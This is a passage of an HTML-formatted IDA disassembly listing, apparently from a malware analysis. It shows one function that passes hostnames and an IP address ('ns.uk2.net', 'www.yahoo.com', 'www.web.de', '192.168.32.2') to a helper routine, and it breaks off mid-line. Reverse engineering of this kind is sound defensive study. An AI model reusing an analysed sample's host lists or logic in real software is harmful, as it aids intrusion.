&gt;.text:004037FB &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:blue;"  &gt;sub_4037FB&lt;span style=""&gt;      &lt;/span&gt;proc near&lt;span style=""&gt;               &lt;/span&gt;&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:green;"  &gt;; CODE XREF: _main+1Ep&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:black;"  &gt;.text:004037FB&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:black;"  &gt;.text:004037FB &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:green;"  &gt;var_4&lt;span style=""&gt;           &lt;/span&gt;&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;= &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; color: rgb(0, 0, 160); -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;" &gt;dword ptr &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; color: rgb(0, 128, 64); -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;" &gt;-4&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:black;"  &gt;.text:004037FB&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:black;"  &gt;.text:004037FB&lt;span style=""&gt;      &lt;/span&gt;&lt;span style=""&gt;     &lt;/span&gt;&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;push&lt;span style=""&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; color: rgb(0, 0, 160); -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;" &gt;offset &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;unk_40E2B0&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:blue;"  &gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:black;"  &gt;.text:00403800&lt;span style=""&gt;      &lt;/span&gt;&lt;span style=""&gt;     &lt;/span&gt;&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;call&lt;span style=""&gt;    &lt;/span&gt;sub_401866&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:blue;"  &gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:black;"  &gt;.text:00403805&lt;span style=""&gt;      &lt;/span&gt;&lt;span style=""&gt;     &lt;/span&gt;&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;mov&lt;span style=""&gt;     &lt;/span&gt;[esp+&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:green;"  &gt;4&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;+&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:green;"  &gt;var_4&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;], &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; color: rgb(0, 0, 160); -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;" &gt;offset &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;unk_40E2BC&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:blue;"  &gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:black;"  &gt;.text:0040380C&lt;span style=""&gt;      &lt;/span&gt;&lt;span style=""&gt;     &lt;/span&gt;&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;call&lt;span style=""&gt;    &lt;/span&gt;sub_401866&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:blue;"  &gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:black;"  &gt;.text:00403811&lt;span style=""&gt;      &lt;/span&gt;&lt;span style=""&gt;     &lt;/span&gt;&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;mov&lt;span style=""&gt;     &lt;/span&gt;[esp+&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:green;"  &gt;4&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;+&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:green;"  &gt;var_4&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;], &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; color: rgb(0, 0, 160); -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;" &gt;offset &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;unk_40E2C8&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:blue;"  &gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:black;"  &gt;.text:00403818&lt;span style=""&gt;      &lt;/span&gt;&lt;span style=""&gt;     &lt;/span&gt;&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;call&lt;span style=""&gt;    &lt;/span&gt;sub_401866&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:blue;"  &gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:black;"  &gt;.text:0040381D&lt;span style=""&gt;      &lt;/span&gt;&lt;span style=""&gt;     &lt;/span&gt;&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;mov&lt;span style=""&gt;     &lt;/span&gt;[esp+&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:green;"  &gt;4&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;+&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:green;"  &gt;var_4&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;], &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; color: rgb(0, 0, 160); -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;" &gt;offset &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;a@&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:blue;"  &gt; &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:gray;"  &gt;; "@"&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:black;"  &gt;.text:00403824&lt;span style=""&gt;      &lt;/span&gt;&lt;span style=""&gt;     &lt;/span&gt;&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;call&lt;span style=""&gt;    &lt;/span&gt;sub_401866&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:blue;"  &gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:black;"  &gt;.text:00403829&lt;span style=""&gt;      &lt;/span&gt;&lt;span style=""&gt;     &lt;/span&gt;&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;mov&lt;span style=""&gt;     &lt;/span&gt;[esp+&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:green;"  &gt;4&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;+&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:green;"  &gt;var_4&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;], &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; color: rgb(0, 0, 160); -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;" &gt;offset &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;unk_40E2DC&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:blue;"  &gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:black;"  &gt;.text:00403830&lt;span style=""&gt;      &lt;/span&gt;&lt;span style=""&gt;     &lt;/span&gt;&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;call&lt;span style=""&gt;    &lt;/span&gt;sub_401866&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:blue;"  &gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:black;"  &gt;.text:00403835 &lt;span style=""&gt;     &lt;/span&gt;&lt;span style=""&gt;   &lt;/span&gt;&lt;span style=""&gt; &lt;/span&gt;&lt;span style=""&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;mov&lt;span style=""&gt;     &lt;/span&gt;[esp+&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:green;"  &gt;4&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;+&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:green;"  &gt;var_4&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;], &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; color: rgb(0, 0, 160); -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;" &gt;offset &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;cp&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:blue;"  &gt; &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:gray;"  &gt;; "ns.uk2.net"&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:black;"  &gt;.text:0040383C&lt;span style=""&gt;      &lt;/span&gt;&lt;span style=""&gt;   &lt;/span&gt;&lt;span style=""&gt; &lt;/span&gt;&lt;span style=""&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;call&lt;span style=""&gt;    &lt;/span&gt;sub_401866&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:blue;"  &gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:black;"  &gt;.text:00403841&lt;span style=""&gt;      &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;mov&lt;span style=""&gt;     &lt;/span&gt;[esp+&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:green;"  &gt;4&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;+&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:green;"  &gt;var_4&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;], &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; color: rgb(0, 0, 160); -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;" &gt;offset &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;aWww_yahoo_com&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:blue;"  &gt; &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:gray;"  &gt;; "www.yahoo.com"&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:black;"  &gt;.text:00403848&lt;span style=""&gt;      &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;call&lt;span style=""&gt;    &lt;/span&gt;sub_401866&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:blue;"  &gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:black;"  &gt;.text:0040384D&lt;span style=""&gt;        &lt;/span&gt;&lt;span style=""&gt;   &lt;/span&gt;&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;mov&lt;span style=""&gt;     &lt;/span&gt;[esp+&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:green;"  &gt;4&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;+&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:green;"  &gt;var_4&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;], &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; color: rgb(0, 0, 160); -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;" &gt;offset &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;aWww_web_de&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:blue;"  &gt; &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:gray;"  &gt;; "www.web.de"&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:black;"  &gt;.text:00403854&lt;span style=""&gt;        &lt;/span&gt;&lt;span style=""&gt;   &lt;/span&gt;&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;call&lt;span style=""&gt;    &lt;/span&gt;sub_401866&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:blue;"  &gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:black;"  &gt;.text:00403859&lt;span style=""&gt;        &lt;/span&gt;&lt;span style=""&gt;   &lt;/span&gt;&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;mov&lt;span style=""&gt;     &lt;/span&gt;[esp+&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:green;"  &gt;4&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;+&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:green;"  &gt;var_4&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;], &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; color: rgb(0, 0, 160); -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;" &gt;offset &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;a192_168_32_2&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:blue;"  &gt; &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:gray;"  &gt;; "192.168.32.2"&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:black;"  &gt;.text:00403860&lt;span style=""&gt;        